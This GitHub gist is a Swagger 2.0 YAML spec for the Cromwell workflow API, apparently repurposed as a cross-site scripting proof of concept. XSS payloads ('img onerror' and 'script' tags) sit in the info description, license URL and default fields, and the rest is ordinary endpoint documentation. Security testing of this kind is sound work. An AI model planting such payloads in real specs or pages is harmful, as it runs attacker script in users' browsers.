Skip to content

Instantly share code, notes, and snippets.

@pikpikcu
Last active December 1, 2022 06:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save pikpikcu/982e9be4b2e4834cc40b23a05ada27e4 to your computer and use it in GitHub Desktop.
Save pikpikcu/982e9be4b2e4834cc40b23a05ada27e4 to your computer and use it in GitHub Desktop.
swagger: '2.0'
info:
title: Swagger Test
description: <img src=x onerror=\"alert(document.domain)\">
default: <script>console.log(‘000000000000000000dad0000000000000000000');</script>
license:
name: BSD
url: <img src=x onerror=\"alert(document.domain)\">
version: '30'
produces:
- application/json
paths:
'/api/workflows/{version}':
post:
operationId: submit
summary: Submit a workflow for execution
description: Submits a workflow to Cromwell. Note that this endpoint can accept an unlimited number of input files via workflowInputs_N but swagger needs them to be explicitly defined so we have provided 5 as an example.
consumes:
- multipart/form-data
parameters:
- $ref: '#/parameters/versionParam'
- name: workflowSource
description: The workflow source file to submit for execution. Either workflow source or workflow url is required.
required: false
type: file
in: formData
- name: workflowUrl
description: URL which points to the workflow. Either workflow source or workflow url is required.
required: false
type: string
in: formData
- name: workflowOnHold
description: Put workflow on hold upon submission. By default, it is taken as false.
required: false
type: boolean
in: formData
- name: workflowInputs
description: JSON or YAML file containing the inputs as an object. For WDL workflows a skeleton file can be generated from WOMtool using the "inputs" subcommand. When multiple files are specified, in case of key conflicts between multiple input JSON files, higher values of x in workflowInputs_x override lower values. For example, an input specified in workflowInputs_3 will override an input with the same name in workflowInputs or workflowInputs_2. Similarly, an input key specified in workflowInputs_5 will override an identical input key in any other input file.
required: false
type: file
in: formData
- name: workflowInputs_2
description: A second JSON or YAML file containing inputs.
required: false
type: file
in: formData
- name: workflowInputs_3
description: A third JSON or YAML file containing inputs.
required: false
type: file
in: formData
- name: workflowInputs_4
description: A fourth JSON or YAML file containing inputs.
required: false
type: file
in: formData
- name: workflowInputs_5
description: A fifth JSON or YAML file containing inputs.
required: false
type: file
in: formData
- name: workflowOptions
description: JSON file containing configuration options for the execution of this workflow.
required: false
type: file
in: formData
- $ref: '#/parameters/workflowTypeParam'
- name: workflowRoot
description: The root object to be run. Only necessary for CWL submissions containing multiple objects (in an array).
required: false
type: string
in: formData
- $ref: '#/parameters/workflowTypeVersionParam'
- name: labels
description: JSON object of labels to apply to this workflow.
required: false
type: file
in: formData
- name: workflowDependencies
description: ZIP file containing workflow source files that are used to resolve local imports. This zip bundle will be unpacked in a sandbox accessible to this workflow.
required: false
type: file
in: formData
tags:
- Workflows
responses:
'201':
description: Successful Request
schema:
$ref: '#/definitions/WorkflowIdAndStatus'
'400':
$ref: '#/responses/InvalidSubmission'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/batch':
post:
operationId: submitBatch
summary: Submit a batch of workflows for execution
description: In instances where you want to run the same workflow multiple times with varying inputs you may submit a workflow batch. This endpoint is fundamentally the same as the standard submission endpoint with the exception that the inputs JSON will be an array of objects instead of a single object.
consumes:
- multipart/form-data
parameters:
- $ref: '#/parameters/versionParam'
- name: workflowSource
description: The workflow source file to submit for execution. Either workflow source or workflow url is required.
required: false
type: file
in: formData
- name: workflowUrl
description: URL which points to the workflow. Either workflow source or workflow url is required.
required: false
type: string
in: formData
- name: workflowOnHold
description: Put workflow on hold upon submission. By default, it is taken as false.
required: false
type: boolean
in: formData
- name: workflowInputs
description: JSON file containing the inputs as an array of objects. Every element of the array will correspond to a single workflow. For WDL workflows a skeleton file can be generated from WOMtool using the "inputs" subcommand. When multiple files are specified, in case of key conflicts between multiple input JSON files, higher values of x in workflowInputs_x override lower values. For example, an input specified in workflowInputs_3 will override an input with the same name in workflowInputs or workflowInputs_2. Similarly, an input key specified in workflowInputs_5 will override an identical input key in any other input file.
required: true
type: file
in: formData
- name: workflowOptions
description: JSON file containing configuration options for the execution of this workflow.
required: false
type: file
in: formData
- $ref: '#/parameters/workflowTypeParam'
- $ref: '#/parameters/workflowTypeVersionParam'
- name: labels
description: JSON object of labels to apply to this workflow.
required: false
type: file
in: formData
- name: workflowDependencies
description: ZIP file containing workflow source files that are used to resolve local imports. This zip bundle will be unpacked in a sandbox accessible to these workflows.
required: false
type: file
in: formData
tags:
- Workflows
responses:
'200':
description: Successful Request
schema:
type: array
items:
$ref: '#/definitions/WorkflowIdAndStatus'
'400':
$ref: '#/responses/BadRequest'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/labels':
get:
operationId: labels
summary: Retrieves the current labels for a workflow
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
tags:
- Workflows
responses:
'200':
description: Successful Request
schema:
$ref: '#/definitions/LabelsResponse'
'400':
$ref: '#/responses/BadRequest'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
patch:
operationId: updateLabels
summary: Update labels for a workflow
description: Update multiple labels for an existing workflow. When supplying a label with a key unique to the workflow submission, a new label key/value entry is appended to that workflow's metadata. When supplying a label with a key that is already associated to the workflow submission, the original label value is updated with the new value for that workflow's metadata.
parameters:
- $ref: '#/parameters/versionParam'
- name: id
description: Workflow ID
required: true
type: string
in: path
- name: labels
description: >
Custom labels submitted as JSON.
Example: {"key-1":"value-1","key-2":"value-2"}
required: true
in: body
schema:
type: object
tags:
- Workflows
responses:
'200':
description: Successful Request
schema:
$ref: '#/definitions/LabelsResponse'
'400':
$ref: '#/responses/BadRequest'
'403':
$ref: '#/responses/Forbidden'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/abort':
post:
operationId: abort
summary: Abort a running workflow
description: Request Cromwell to abort a running workflow. For instance this might be necessary in cases where you have submitted a workflow with incorrect inputs or no longer need the results. Cromwell will schedule a halt of all currently running jobs from this workflow.
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
tags:
- Workflows
responses:
'200':
$ref: '#/responses/OkIdAndStatus'
'400':
$ref: '#/responses/BadRequest'
'403':
$ref: '#/responses/Forbidden'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/releaseHold':
post:
operationId: releaseHold
summary: Switch a workflow from 'On Hold' to 'Submitted' status
description: Request Cromwell to release the hold on a workflow. It will switch the status of a workflow from 'On Hold' to 'Submitted' so it can be picked for running. For instance this might be necessary in cases where you have submitted a workflow with workflowOnHold = true.
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
tags:
- Workflows
responses:
'200':
$ref: '#/responses/OkIdAndStatus'
'400':
$ref: '#/responses/BadRequest'
'403':
$ref: '#/responses/Forbidden'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/status':
get:
operationId: status
summary: Retrieves the current state for a workflow
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
tags:
- Workflows
responses:
'200':
$ref: '#/responses/OkIdAndStatus'
'400':
$ref: '#/responses/BadRequest'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/outputs':
get:
operationId: outputs
summary: Get the outputs for a workflow
description: Retrieve the outputs for the specified workflow. Cromwell will return any outputs which currently exist even if a workflow has not successfully completed.
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
tags:
- Workflows
responses:
'200':
$ref: '#/responses/OkIdAndStatus'
'400':
$ref: '#/responses/BadRequest'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/logs':
get:
operationId: logs
summary: Get the logs for a workflow
description: Returns paths to the standard out and standard error files that were generated during the execution of all calls in a workflow. A call has one or more standard out and standard error logs, depending on if the call was scattered or not. In the latter case, one log is provided for each instance of the call that has been run.
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
tags:
- Workflows
responses:
'200':
$ref: '#/responses/OK'
'400':
$ref: '#/responses/BadRequest'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/query':
get:
operationId: queryGet
summary: Get workflows matching some criteria
description: Query for workflows which match various criteria. When a combination of criteria are applied the endpoint will return
parameters:
- $ref: '#/parameters/versionParam'
- name : submission
required: false
type: string
format: date-time
in: query
description: >
Returns only workflows with an equal or later submission time. Can be specified at most once. If both submission time and start date are
specified, submission time should be before or equal to start date.
- name: start
required: false
type: string
format: date-time
in: query
description: >
Returns only workflows with an equal or later start datetime. Can be specified at most once.
If both start and end date are specified, start date must be before or equal to end date.
- name: end
required: false
type: string
format: date-time
in: query
description: >
Returns only workflows with an equal or earlier end datetime. Can be specified at most once.
If both start and end date are specified, start date must be before or equal to end date.
- name: status
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
enum:
- Submitted
- Running
- Aborting
- Failed
- Succeeded
- Aborted
description: >
Returns only workflows with the specified status. If specified multiple times,
returns workflows in any of the specified statuses.
- name: name
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
pattern: ^[a-zA-Z][a-zA-Z0-9_]*$
description: >
Returns only workflows with the specified name. If specified multiple times,
returns workflows with any of the specified names.
- name: id
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
pattern: ^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$
description: >
Returns only workflows with the specified workflow id. If specified multiple times,
returns workflows with any of the specified workflow ids.
- name: label
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$
description: >
Returns workflows with the specified label keys. If specified multiple times,
returns workflows with all of the specified label keys. Specify the label key
and label value pair as separated with
"label-key:label-value"
- name: labelor
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$
description: >
Returns workflows with the specified label keys. If specified multiple times,
returns workflows with any of the specified label keys. Specify the label key
and label value pair as separated with
"label-key:label-value"
- name: excludeLabelAnd
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$
description: >
Excludes workflows with the specified label. If specified multiple times,
excludes workflows with all of the specified label keys. Specify the label key
and label value pair as separated with
"label-key:label-value"
- name: excludeLabelOr
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$
description: >
Excludes workflows with the specified label. If specified multiple times,
excludes workflows with any of the specified label keys. Specify the label key
and label value pair as separated with
"label-key:label-value"
- name: additionalQueryResultFields
required: false
in: query
type: array
items:
type: string
collectionFormat: multi
description: >
Currently only 'labels' is a valid value here. Use it to include a list of labels with each result.
- name : includeSubworkflows
required: false
type: boolean
format: boolean
in: query
description: Include subworkflows in results. By default, it is taken as true.
tags:
- Workflows
responses:
'200':
description: Successful Request
schema:
$ref: '#/definitions/WorkflowQueryResponse'
'403':
$ref: '#/responses/Forbidden'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
post:
operationId: queryPost
summary: Get workflows matching some criteria
description: Query workflows by start dates, end dates, names, ids, labels, or statuses.
parameters:
- $ref: '#/parameters/versionParam'
- name: parameters
required: true
in: body
schema:
type: array
items:
$ref: '#/definitions/WorkflowQueryParameter'
description: >
Same query parameters as GET /query endpoint, submitted as a json list.
Example: [{"status":"Success"},{"status":"Failed"}]
tags:
- Workflows
responses:
'200':
description: Successful Request
schema:
$ref: '#/definitions/WorkflowQueryResponse'
'400':
$ref: '#/responses/BadRequest'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/timing':
get:
operationId: timing
summary: Get a visual diagram of a running workflow
description: Returns a javascript file which will render a Gantt chart for the requested workflow. The bars in the chart represent start and end times for individual task invocations. This javascript is intended to be embedded into another web page.
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
tags:
- Workflows
responses:
'200':
$ref: '#/responses/OkIdAndStatus'
'400':
$ref: '#/responses/BadRequest'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/{id}/metadata':
get:
operationId: metadata
summary: Get workflow and call-level metadata for a specified workflow
parameters:
- $ref: '#/parameters/versionParam'
- $ref: '#/parameters/singleId'
- name: includeKey
description: >
When specified, filters metadata to only return fields with names which begins with this value.
This key is used relative to the root of the response *and* relative to each call's metadata fields.
required: false
type: array
items:
type: string
collectionFormat: multi
in: query
- name: excludeKey
description: >
When specified, filters metadata to not return any field with a name which begins with this value.
This key is used relative to the root of the response *and* relative to each call's metadata fields.
Use 'calls' to filter out all call level metadata.
required: false
type: array
items:
type: string
collectionFormat: multi
in: query
- name: expandSubWorkflows
description: >
When true, metadata for sub workflows will be fetched and inserted automatically in the metadata response.
required: false
type: boolean
in: query
- name: metadataSource
description: >
[Intended For System Verification]
Force Cromwell to ignore the archive status of a workflow and return either the json-archived
or database-backed unarchived version of the metadata.
Note: Only affects the hybrid carboniting metadata service. The classic service ignores this.
Warning 1: If the workflow has not yet been archived, then specifying
"Archived" may cause an error or give you incorrect metadata.
Warning 2: If an archived workflow has already been removed from the database, then specifying
"Unarchived" may cause an error or give you incorrect metadata.
required: false
type: string
enum: ["Unarchived", "Archived"]
in: query
tags:
- Workflows
responses:
'200':
description: Successful Request
schema:
$ref: '#/definitions/WorkflowMetadataResponse'
'400':
$ref: '#/responses/BadRequest'
'404':
$ref: '#/responses/NotFound'
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/callcaching/diff':
get:
operationId: callCacheDiff
summary: Explain hashing differences for 2 calls
description: This endpoint returns the hash differences between 2 completed (successfully or not) calls.
parameters:
- $ref: '#/parameters/versionParam'
- name: workflowA
description: Workflow Id of the first workflow
required: true
type: string
in: query
- name: callA
description: Fully qualified name, including workflow name, of the first call.
required: true
type: string
in: query
- name: indexA
description: Shard index for the first call for cases where the requested call was part of a scatter.
required: false
type: integer
in: query
- name: workflowB
description: Workflow Id of the second workflow
required: true
type: string
in: query
- name: callB
description: Fully qualified name, including workflow name, of the second call
required: true
type: string
in: query
- name: indexB
description: Shard index for the second call for cases where the requested call was part of a scatter.
required: false
type: integer
in: query
tags:
- Workflows
responses:
'200':
$ref: '#/responses/OK'
'400':
$ref: '#/responses/BadRequest'
'404':
description: No matching cache entry. Cromwell versions prior to 28 will not have recorded information necessary for this endpoint and thus will also appear to not exist.
'500':
$ref: '#/responses/ServerError'
'/api/workflows/{version}/backends':
get:
operationId: backends
summary: List the supported backends
description: Returns the backends supported by this Cromwell server, as well as the default backend.
parameters:
- $ref: '#/parameters/versionParam'
tags:
- Workflows
responses:
'200':
description: Successful Request
schema:
$ref: '#/definitions/BackendResponse'
'/api/womtool/{version}/describe':
post:
operationId: describe
summary: Machine-readable description of a workflow, including inputs and outputs
consumes:
- multipart/form-data
parameters:
- $ref: '#/parameters/versionParam'
- name: workflowSource
description: The workflow source file to submit for execution. Either workflow source or workflow url is required.
required: false
type: file
in: formData
- name: workflowUrl
description: URL which points to the workflow. Either workflow source or workflow url is required.
required: false
type: string
in: formData
- name: workflowInputs
description: JSON or YAML file containing the inputs as an object.
required: false
type: file
in: formData
- $ref: '#/parameters/workflowTypeParam'
- $ref: '#/parameters/workflowTypeVersionParam'
responses:
'200':
description: Workflow description.
schema:
$ref: '#/definitions/WorkflowDescription'
tags:
- "Womtool"
'/engine/{version}/version':
get:
operationId: engineVersion
summary: Return the version of this Cromwell server
parameters:
- $ref: '#/parameters/versionParam'
tags:
- Engine
responses:
'200':
description: Successful Request
schema:
$ref: '#/definitions/VersionResponse'
'/engine/{version}/status':
get:
operationId: engineStatus
summary: Return the current health status of any monitored subsystems
parameters:
- $ref: '#/parameters/versionParam'
tags:
- Engine
responses:
'200':
description: All subsystems report an "ok" status
schema:
$ref: '#/definitions/StatusResponse'
'500':
description: At least one subsystem does not have an "ok" status
schema:
$ref: '#/definitions/StatusResponse'
responses:
OkIdAndStatus:
description: Successful Request
schema:
$ref: '#/definitions/WorkflowIdAndStatus'
OK:
description: Successful Request
schema:
$ref: '#/definitions/WorkflowIdAndStatus'
InvalidSubmission:
description: Invalid submission request
BadRequest:
description: Malformed Workflow ID
Forbidden:
description: Workflow in terminal status
NotFound:
description: Workflow ID Not Found
ServerError:
description: Internal Error
parameters:
singleId:
name: id
description: A workflow ID
required: true
type: string
in: path
pattern: ^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$
workflowTypeParam:
name: workflowType
type: string
description: The workflow language for the file you submitted. Cromwell currently supports WDL and CWL.
enum: [WDL, CWL]
required: false
in: formData
workflowTypeVersionParam:
name: workflowTypeVersion
description: The specification version for the workflow language being used. For WDL, Cromwell currently supports draft-2 and 1.0. For CWL, Cromwell currently supports v1.0.
required: false
type: string
enum: ["draft-2", "1.0", "v1.0"]
in: formData
versionParam:
name: version
description: Cromwell API Version
required: true
type: string
in: path
default: <script>console.log(‘000000000000000000dad0000000000000000000');</script>
definitions:
WorkflowSubmitResponse:
required:
- id
- status
properties:
id:
type: string
description: The identifier of the workflow
example: 00001111-2222-3333-aaaa-bbbbccccdddd
status:
type: string
description: The status of the workflow
example: Submitted
WorkflowIdAndStatus:
required:
- id
- status
properties:
id:
type: string
description: The identifier of the workflow
example: 00001111-2222-3333-aaaa-bbbbccccdddd
status:
type: string
description: The status of the workflow
example: Submitted
WorkflowMetadataResponse:
description: Workflow and call level metadata
required:
- id
- status
- submission
properties:
id:
type: string
description: The identifier of the workflow
status:
type: string
description: The status of the workflow
submission:
type: string
format: date-time
description: Submission datetime of the workflow in ISO8601 format with milliseconds
start:
type: string
format: date-time
description: Start datetime of the workflow in ISO8601 format with milliseconds
end:
type: string
format: date-time
description: End datetime of the workflow in ISO8601 format with milliseconds
inputs:
type: object
description: Map of input keys to input values
outputs:
type: object
description: Map of output keys to output values
calls:
$ref: '#/definitions/CallMetadata'
failures:
$ref: '#/definitions/FailureMessage'
CallMetadata:
description: Call level metadata
required:
- inputs
- executionStatus
properties:
inputs:
type: object
description: Mapping of input fully qualified names to stringified values
executionStatus:
type: string
description: Status in Cromwell execution terms.
backend:
type: string
description: The type of backend on which the call executed (e.g. JES, SGE, Local)
backendStatus:
type: string
description: Status in backend-specific terms. Currently this will only be defined for the JES backend.
start:
type: string
format: date-time
description: Start datetime of the call execution in ISO8601 format with milliseconds
end:
type: string
format: date-time
description: End datetime of the call execution in ISO8601 format with milliseconds
jobId:
type: string
description: Backend-specific job ID
failures:
$ref: '#/definitions/FailureMessage'
returnCode:
type: integer
description: Call execution return code
stdout:
type: string
description: Path to the standard output file for this call
stderr:
type: string
description: Path to the standard error file for this call
backendLogs:
type: object
description: Paths to backend specific logs for this call
FailureMessage:
description: Failure messages
required:
- failure
- timestamp
properties:
failure:
type: string
description: The failure message
timestamp:
type: string
format: date-time
description: The time at which this failure occurred
WorkflowDescription:
required:
- valid
- validWorkflow
- errors
- name
- inputs
- outputs
- submittedDescriptorType
- isRunnableWorkflow
properties:
valid:
type: boolean
description: Indicates that the workflow is valid and that the inputs, if provided, are compatible with the workflow.
errors:
type: array
items:
type: string
example:
- "The 'errors' field will be filled if 'valid' is false"
- "We might also provide warnings to a 'valid' workflow here"
- "Otherwise, 'errors' will be the empty array"
description: The set of validation failure messages
validWorkflow:
type: boolean
description: Indicates whether the workflow file is valid by itself. If inputs are provided, they are not considered when calculating this field; if inputs are not provided, the value is identical to `valid`.
name:
type: string
description: For a source file with one workflow and zero or more tasks, the name of the workflow. For a single task, the name of the task. For a source file with multiple tasks but no workflows, the empty string.
inputs:
description: A list of inputs for this tool
type: array
items:
$ref: '#/definitions/ToolInputParameter'
example:
- name: my_wf.string_input
valueType:
typeName: String
optional: false
default: null
typeDisplayName: String
- name: my_wf.array_input
valueType:
typeName: Array
arrayType:
typeName: String
optional: false
default: null
typeDisplayName: Array[String]
- name: my_wf.optional_input
valueType:
typeName: Optional
optionalType:
typeName: String
optional: true
default: "hello"
typeDisplayName: String?
- name: my_wf.map_input
valueType:
typeName: Map
mapType:
keyType:
typeName: String
valueType:
typeName: Int
optional: false
default: null
typeDisplayName: Map[String, Int]
- name: my_wf.object_input
valueType:
typeName: Object
objectFieldTypes:
- fieldName: "int_field"
fieldType:
typeName: Int
- fieldName: "int_array_field"
fieldType:
typeName: Array
arrayType:
typeName: Int
optional: false
default: null
typeDisplayName: Object
- name: my_wf.int_string_pair_input
valueType:
typeName: Pair
pairTypes:
- leftType:
- typeName: Int
- rightType:
- typeName: String
optional: false
default: null
typeDisplayName: Pair[Int, String]
outputs:
description: A list of outputs for this tool
type: array
items:
$ref: '#/definitions/ToolOutputParameter'
example:
- name: my_wf.string_output
valueType:
typeName: String
typeDisplayName: String
- name: my_wf.array_output
valueType:
typeName: Array
arrayType:
typeName: String
typeDisplayName: Array[String]
- name: my_wf.map_output
valueType:
typeName: Map
mapType:
keyType:
typeName: String
valueType:
typeName: Int
typeDisplayName: Map[String, Int]
- name: my_wf.object_output
valueType:
typeName: Object
objectFieldTypes:
- fieldName: "int_field"
fieldType:
typeName: Int
- fieldName: "int_array_field"
fieldType:
typeName: Array
arrayType:
typeName: Int
typeDisplayName: Object
- name: my_wf.int_string_pair_output
valueType:
typeName: Pair
tupleTypes:
- typeName: Int
- typeName: String
typeDisplayName: Pair[Int, String]
submittedDescriptorType:
$ref: '#/definitions/DescriptorTypeAndVersion'
isRunnableWorkflow:
description: Indicates whether this file can be run on its own (e.g. a WDL workflow)
type: boolean
ToolInputParameter:
type: object
description: >-
An input parameter for a tool or workflow.
required:
- name
- valueType
- optional
- default
- typeDisplayName
properties:
name:
type: string
description: The name of this input value (formatted as expected by the tool)
valueType:
$ref: '#/definitions/ValueType'
optional:
type: boolean
description: Whether the tool allows this value to not be specified
default:
type: string
description: The in-language expression used to evaluate a default value for this parameter, if
none is supplied.
typeDisplayName:
type: string
description: An easy-to-read display name for the type of the input
ToolOutputParameter:
type: object
description: >-
An output parameter for a tool or workflow.
required:
- name
- valueType
- typeDisplayName
properties:
name:
type: string
description: The name of this input value (formatted as expected by the tool)
valueType:
$ref: '#/definitions/ValueType'
typeDisplayName:
type: string
description: An easy-to-read display name for the type of the output
ValueType:
description: The type expected for a given value.
type: object
required:
- valueType
maxProperties: 2
properties:
typeName:
type: string
description: The type of this value
enum:
- String
- File
- Directory
- Float
- Int
- Boolean
- Optional
- Array
- Tuple
- Map
- Object
- Pair
optionalType:
$ref: '#/definitions/ValueType'
arrayType:
$ref: '#/definitions/ValueType'
mapType:
$ref: '#/definitions/MapValueType'
tupleTypes:
type: array
items:
$ref: '#/definitions/ValueType'
objectFieldTypes:
type: array
items:
type: object
properties:
fieldName:
type: string
fieldType:
$ref: '#/definitions/ValueType'
MapValueType:
type: object
description: A type representing a map from one type to another.
required:
- keyType
- valueType
properties:
keyType:
$ref: '#/definitions/ValueType'
valueType:
$ref: '#/definitions/ValueType'
DescriptorTypeAndVersion:
type: object
description: >-
A workflow descriptor file type and version.
required:
- descriptorType
- descriptorTypeVersion
properties:
descriptorType:
$ref: '#/definitions/DescriptorType'
descriptorTypeVersion:
type: string
example: "1.0"
DescriptorType:
type: string
description: >-
One from a list of descriptor type strings (e.g. CWL, WDL).
Note that these files can also include associated Docker/container files
and test parameters that further describe a version of a tool
example: "WDL"
enum:
- CWL
- WDL
WorkflowQueryParameter:
description: Workflow query parameters
minProperties: 1
maxProperties: 1
properties:
submission:
type: string
format: date-time
description: >
Returns only workflows with an equal or later submission time. Can be specified at most once. If both submission time and start date are
specified, submission time should be before or equal to start date.
start:
type: string
format: date-time
description: >
Returns only workflows with an equal or later start datetime. Can be specified at most once.
If both start and end date are specified, start date must be before or equal to end date.
end:
type: string
format: date-time
description: >
Returns only workflows with an equal or earlier end datetime. Can be specified at most once.
If both start and end date are specified, start date must be before or equal to end date.
status:
type: string
enum:
- Submitted
- Running
- Aborting
- Failed
- Succeeded
- Aborted
description: >
Returns only workflows with the specified status. If specified multiple times,
returns workflows in any of the specified statuses.
name:
type: string
pattern: ^[a-zA-Z][a-zA-Z0-9_]*$
description: >
Returns only workflows with the specified name. If specified multiple times,
returns workflows with any of the specified names.
id:
type: string
pattern: ^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$
description: >
Returns only workflows with the specified workflow id. If specified multiple times,
returns workflows with any of the specified workflow ids.
excludeLabelAnd:
type: string
format: array
pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$
description: >
Excludes workflows with the specified label. If specified multiple times,
excludes workflows with all of the specified label keys. Specify the label key
and label value pair as separated with
"label-key:label-value"
excludeLabelOr:
type: string
format: array
pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$
description: >
Excludes workflows with the specified label. If specified multiple times,
excludes workflows with any of the specified label keys. Specify the label key
and label value pair as separated with
"label-key:label-value"
includeSubworkflows:
type: string
format: boolean
description: Include subworkflows in results. By default, it is taken as true.
page:
type: int
description: When pageSize is set, which page of results to return. If not set, the first page of 'pageSize' results will be returned.
pageSize:
type: int
description: The number of results to return at a time
WorkflowQueryResponse:
description: Response to a workflow query
required:
- results
- totalResultsCount
properties:
results:
type: array
items:
$ref: '#/definitions/WorkflowQueryResult'
totalResultsCount:
type: integer
WorkflowQueryResult:
description: Result for an individual workflow returned by a workflow query
required:
- id
- name
- status
properties:
id:
type: string
description: Workflow ID
name:
type: string
description: Workflow name
status:
type: string
description: Workflow status
submission:
type: string
format: date-time
description: Workflow submission datetime
start:
type: string
format: date-time
description: Workflow start datetime
end:
type: string
format: date-time
description: Workflow end datetime
BackendResponse:
required:
- supportedBackends
- defaultBackend
properties:
supportedBackends:
type: array
description: The backends supported by this server
items:
type: string
defaultBackend:
type: string
description: The default backend of this server
VersionResponse:
description: Returns the version of Cromwell
properties:
cromwell:
type: string
description: The version of the Cromwell Engine
example: 30
StatusResponse:
description: Returns the status of monitored subsystems.
type: object
properties:
serviceName:
type: object
properties:
ok:
type: boolean
messages:
type: array
items:
type: string
LabelsResponse:
required:
- id
- labels
properties:
id:
type: string
description: The identifier of the workflow
example: label-key-1
labels:
type: string
description: The labels which have been updated
example: label-value-1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment